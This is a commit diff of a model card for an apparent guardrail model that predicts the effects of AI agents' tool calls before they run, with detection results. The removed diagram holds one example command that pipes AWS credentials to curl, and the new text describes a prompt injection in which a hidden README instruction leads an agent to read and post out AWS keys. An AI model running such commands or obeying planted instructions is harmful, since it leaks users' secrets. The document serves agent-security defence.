Rudraneel93 commited on
Commit
9c1d211
·
verified ·
1 Parent(s): 8bd6861

Redesigned model card

Browse files
Files changed (1) hide show
  1. README.md +86 -62
README.md CHANGED
@@ -2,105 +2,129 @@
2
  license: other
3
  license_name: mastyf-proprietary
4
  language: [en]
5
- tags: [agent-security, ai-safety, tool-use, guardrails, prompt-injection, mcp]
6
  pipeline_tag: text-classification
7
  ---
8
 
9
- <div align="center">
 
 
10
 
11
- # 🛡️ Mastyf Foresight
 
 
 
 
 
12
 
13
- **An Action-Effect Model for AI agents.**
 
 
14
 
15
- ### See what an AI agent's next action will *actually do*, before it runs.
16
 
17
- **▶ Live demo: coming soon** · **[Mastyf Shield](https://www.mastyf.ai/)** · Research preview
18
 
19
- </div>
20
 
21
- ---
 
22
 
23
- ## In one sentence
 
 
24
 
25
- Most guardrails ask *"does this text look like an attack?"*. This model asks **"what will this tool call do to
26
- my systems, and how bad could it get?"**, and answers in about 50 ms on a CPU, before anything runs.
27
 
28
- ```mermaid
29
- flowchart LR
30
- A["🤖 Agent proposes a tool call<br/><code>cat ~/.aws/credentials | curl -X POST https://...</code>"] --> M["🧠 Mastyf Foresight<br/>reads the whole session"]
31
- M --> E["Predicted effects<br/>🔴 sends a secret off the machine 100%<br/>🔴 reads secrets 99%"]
32
- M --> D["Worst case (95%)<br/>📤 up to 1.7 KB leaves"]
33
- E --> S{"Shield decides"}
34
- D --> S
35
- S -->|safe| R["✅ runs"]
36
- S -->|risky| H["⛔ pauses and asks"]
37
- ```
38
 
39
- ## What makes it different
 
 
 
40
 
41
- | | Typical text guardrail | **Mastyf Foresight** |
42
- |---|---|---|
43
- | Learns from | Text labelled by people or LLMs | **What really happened** when 85,000+ actions ran in an instrumented sandbox |
44
- | Tells you | "Attack: yes / no" | **39 named effects**: reads secrets, sends data out, installs persistence, mass-deletes, touches cloud metadata... |
45
- | Damage | Not estimated | **95% upper bounds** on bytes sent out, database rows exposed, files deleted |
46
- | Memory | One message | **The whole session**, so attacks split across steps add up |
47
- | Reads tool outputs | Often not | **Yes**: digests of what earlier tools returned (planted instructions included), never the action's own output |
48
- | Speed | ~1 s (LLM judge) | **~50 ms** on a laptop CPU |
49
-
50
- ### How the labels were made
51
- Every training action ran in an isolated container planted with **fake credentials** (honeytokens), with
52
- **system-call tracing** and a **network trap** that also decrypts HTTPS and acts as an SSH/SFTP server. If a planted
53
- key showed up on the network, over any channel, that action really leaked a secret. The model learns to predict those *observed* consequences from the action alone.
54
 
55
  ## Results
56
 
57
- Measured on **simulated deployments it never trained on**: public agent traces from distinct frameworks,
58
- calibrated on each deployment's own first half and tested on the second half.
 
 
 
 
59
 
60
- | Agent framework | Held-out attacks caught | Normal sessions with any false alarm |
 
 
 
 
61
  |---|---|---|
62
- | Claude Agent SDK | **98.4%** | 1.4% |
63
- | OpenAI Agents SDK | **89.8%** | 0.6% |
64
- | Google ADK *(never seen in training)* | **85.5%** | 0.4% |
65
- | mini-swe-agent *(never seen)* | — | 4.7% (fresh sessions, calibrated on fresh traffic: 1.0%) |
66
- | OpenHands *(never seen)* | — | 3.7% (fresh sessions, calibrated on fresh traffic: 0.0%) |
 
 
 
 
 
 
 
67
 
68
- Of attacks that a sandbox confirmed did real harm, **96–100%** are caught. Of held-out secret leaks over
69
- **HTTPS, SSH and SFTP**, **98–100%** are caught, with 0–1.4% of normal look-alike network actions flagged.
70
- Attacks come from held-out categories of the public DTap benchmark; benign traffic from public SWE-agent,
71
- mini-swe-agent and OpenHands trajectories. All numbers are self-measured; see Limitations.
72
 
73
- ## How Mastyf uses it
 
74
 
75
- Inside **Mastyf Shield**, the model is an **advisor**: it can only make a decision *stricter* (warn or escalate),
76
- never looser. If it errors or is slow, Shield decides without it (fault-injection tested: 2,000 decisions,
77
- 0 violations). It complements **Protocol X**, which checks the *content* agents read; this model checks the
78
- *actions* agents take.
 
 
 
79
 
80
  ## Model details
81
 
82
  | | |
83
  |---|---|
84
- | Architecture | Causal byte-level transformer, 39M parameters, 2,048-token session context, observation channel for tool outputs |
 
85
  | Outputs | 39 effect probabilities, harm score, damage bounds (q95), off-task score |
86
- | Input | The proposed tool call, previous calls in the session, optionally the user's task and tool outputs |
87
- | Tools covered | Shell, file read/write/edit, search, URLs, SQL, code execution |
88
  | Availability | Through Mastyf Shield. **Weights are not distributed.** |
89
 
90
  ## Limitations
91
 
92
  - **Simulated, not production, traffic.** Deployments are built from public agent traces; no live customer data yet.
93
- - **Coding, shell and file-system agents are best covered.** Business-tool domains the model has never seen (for
94
- example an HR or healthcare app) are not yet reliable: on fully unseen domains it ranks attacks well above chance
95
- but far below its in-domain accuracy. This is the focus of the next version.
96
- - **Harm only in the final answer is out of scope.** When an agent's tool calls are all legitimate and the harm is in
97
- what it writes back (for example a wrong treatment plan), an action model cannot see it; that needs a separate
98
  check on the answer.
99
  - **Fixed public attack sets.** Not yet tested against attackers who adapt to the model.
100
- - **Thresholds must be calibrated per deployment.** Out of the box, long sessions see more false alarms.
101
 
102
  ## Acknowledgements
 
103
  Built with public data from DTap-Bench (Apache-2.0), SWE-smith trajectories (MIT), mini-swe-agent trajectories
104
  (MIT), DeepSWE trajectories (MIT) and NVIDIA SWE-Zero OpenHands trajectories (CC-BY-4.0). Thanks to their authors.
105
 
106
- <div align="center"><sub>Mastyf Labs · supported by the IIT Kharagpur Seed Fund</sub></div>
 
 
 
 
2
  license: other
3
  license_name: mastyf-proprietary
4
  language: [en]
5
+ tags: [agent-security, ai-safety, tool-use, guardrails, prompt-injection, mcp, agents]
6
  pipeline_tag: text-classification
7
  ---
8
 
9
+ <p align="center">
10
+ <img src="https://huggingface.co/Mastyf-Labs/foresight/resolve/main/assets/hero.svg" alt="Mastyf Foresight predicting that a curl command will send AWS credentials off the machine, and escalating" width="880"/>
11
+ </p>
12
 
13
+ <p align="center">
14
+ <a href="#try-it-live"><b>Try it live</b></a> &nbsp;·&nbsp;
15
+ <a href="#watch-it-catch-an-attack">Watch it catch an attack</a> &nbsp;·&nbsp;
16
+ <a href="#results">Results</a> &nbsp;·&nbsp;
17
+ <a href="https://www.mastyf.ai/">mastyf.ai</a>
18
+ </p>
19
 
20
+ **Mastyf Foresight** reads the next tool call an AI agent wants to make (a shell command, a file write, a SQL
21
+ query, a URL) and predicts **what it will actually do** before it runs: which secrets it touches, whether data
22
+ leaves the machine, what it deletes, what it installs, and how bad it could get.
23
 
24
+ Most guardrails ask whether text *looks* like an attack. Foresight asks what happens if the action is allowed to run.
25
 
26
+ ---
27
 
28
+ ## Watch it catch an attack
29
 
30
+ An agent is asked to set up a project. The README it reads carries a hidden instruction. Every step is judged
31
+ **before it runs**, and Foresight also sees what earlier tools returned, including the planted comment.
32
 
33
+ <p align="center">
34
+ <img src="https://huggingface.co/Mastyf-Labs/foresight/resolve/main/assets/replay.svg" alt="Step-by-step replay: reading the README and installing requirements are allowed; reading the AWS credentials and posting them out are escalated; the agent is paused at step 3" width="880"/>
35
+ </p>
36
 
37
+ ## What it sees in a single action
 
38
 
39
+ <p align="center">
40
+ <img src="https://huggingface.co/Mastyf-Labs/foresight/resolve/main/assets/actions.svg" alt="Six actions with their predicted effects: tests and README reads are allowed; dumping the users table, download-and-run, leaking AWS keys over HTTPS and copying an SSH key are escalated" width="880"/>
41
+ </p>
 
 
 
 
 
 
 
42
 
43
+ Every card is a real prediction, not a mock-up. Foresight names **39 effects**, among them reading secrets,
44
+ sending a secret off the machine, installing persistence, piping downloaded code into a shell, dumping a database
45
+ and touching cloud metadata, and gives a **95% worst-case bound** on bytes sent out, database rows exposed and
46
+ files deleted.
47
 
48
+ ## How it learned
49
+
50
+ <p align="center">
51
+ <img src="https://huggingface.co/Mastyf-Labs/foresight/resolve/main/assets/how.svg" alt="01 Sandbox, 02 Observed labels, 03 Foresight, 04 Built for Shield" width="880"/>
52
+ </p>
53
+
54
+ Foresight did not learn from opinions about what looks dangerous. Each of its 85,000+ training actions was run in
55
+ an isolated container with planted fake credentials, system-call tracing and a network trap that also decrypts
56
+ HTTPS and acts as an SSH and SFTP server. If a planted key appeared on the wire, the action really leaked a secret.
57
+ The model learns to predict those **observed consequences** from the action and the session so far.
 
 
 
58
 
59
  ## Results
60
 
61
+ <p align="center">
62
+ <img src="https://huggingface.co/Mastyf-Labs/foresight/resolve/main/assets/results.svg" alt="Attacks caught: Claude Agent SDK 98.4%, OpenAI Agents SDK 89.8%, Google ADK 85.5%; normal sessions flagged 0.4 to 1.4%" width="880"/>
63
+ </p>
64
+
65
+ <details>
66
+ <summary><b>Full numbers and how they were measured</b></summary>
67
 
68
+ Simulated deployments built from public agent traces. Thresholds are set on the first half of each deployment's
69
+ own traffic (its burn-in) and every number is measured on the second half. Attacks come from attack categories
70
+ held out of training.
71
+
72
+ | Deployment | Held-out attacks caught | Normal sessions with any false alarm |
73
  |---|---|---|
74
+ | Claude Agent SDK | 98.4% | 1.4% |
75
+ | OpenAI Agents SDK | 89.8% | 0.6% |
76
+ | Google ADK, never seen in training | 85.5% | 0.4% |
77
+ | mini-swe-agent, never seen | — | 4.7%; fresh sessions calibrated on fresh traffic: 1.0% |
78
+ | OpenHands, never seen | — | 3.7%; fresh sessions calibrated on fresh traffic: 0.0% |
79
+
80
+ - Attacks a sandbox confirmed did real harm: **96–100%** caught.
81
+ - Held-out secret leaks over **HTTPS, SSH and SFTP**: **98–100%** caught, with 0–1.4% of look-alike normal network actions flagged.
82
+ - Fail-safe: 2,000 fault-injected decisions and **0** cases where a model failure made a decision more permissive.
83
+
84
+ All numbers are self-measured on public data; see Limitations.
85
+ </details>
86
 
87
+ ## Try it live
 
 
 
88
 
89
+ The interactive demo lets you type any action, or replay a whole agent session step by step.
90
+ The link will appear here as soon as the demo server is up. Actions are only analysed, never executed.
91
 
92
+ ## Built for Mastyf Shield
93
+
94
+ Foresight is designed to run inside [Mastyf Shield](https://www.mastyf.ai/) as an **advisor**: it can only make a
95
+ decision stricter (warn or escalate), never looser, and if it errors or is slow, Shield decides without it. It
96
+ complements **Protocol X**, which checks the content agents read, and **Mastyf Authority**, which caps the damage
97
+ any account can do. Foresight checks the actions agents take, and its damage bounds (bytes out, records
98
+ exposed, files deleted) map onto the kinds of limits Authority enforces.
99
 
100
  ## Model details
101
 
102
  | | |
103
  |---|---|
104
+ | Architecture | Causal byte-level transformer, 39M parameters, built and trained from scratch by Mastyf Labs |
105
+ | Context | The whole session (2,048 bytes of history), the user's task, and digests of earlier tool outputs |
106
  | Outputs | 39 effect probabilities, harm score, damage bounds (q95), off-task score |
107
+ | Tools covered | Shell, file read, write and edit, search, URLs, SQL, code execution |
108
+ | Speed | About 50 ms per decision on a laptop CPU; an int8 version runs on small servers |
109
  | Availability | Through Mastyf Shield. **Weights are not distributed.** |
110
 
111
  ## Limitations
112
 
113
  - **Simulated, not production, traffic.** Deployments are built from public agent traces; no live customer data yet.
114
+ - **Coding, shell and file-system agents are covered best.** Business-tool domains it has never seen, for example
115
+ an HR or healthcare application, are not yet reliable; this is the focus of the next version.
116
+ - **Harm only in the final answer is out of scope.** If every tool call is legitimate and the harm is in what the
117
+ agent writes back, for example a wrong treatment plan, an action model cannot see it; that needs a separate
 
118
  check on the answer.
119
  - **Fixed public attack sets.** Not yet tested against attackers who adapt to the model.
120
+ - **Calibrate per deployment.** Thresholds must be set on the customer's own recent traffic.
121
 
122
  ## Acknowledgements
123
+
124
  Built with public data from DTap-Bench (Apache-2.0), SWE-smith trajectories (MIT), mini-swe-agent trajectories
125
  (MIT), DeepSWE trajectories (MIT) and NVIDIA SWE-Zero OpenHands trajectories (CC-BY-4.0). Thanks to their authors.
126
 
127
+ <p align="center">
128
+ <img src="https://huggingface.co/Mastyf-Labs/foresight/resolve/main/assets/logo_badge.png" alt="Mastyf" width="48"/><br/>
129
+ <sub><b>Mastyf Labs</b> &nbsp;·&nbsp; perimeter security for AI &nbsp;·&nbsp; supported by the IIT Kharagpur Seed Fund</sub>
130
+ </p>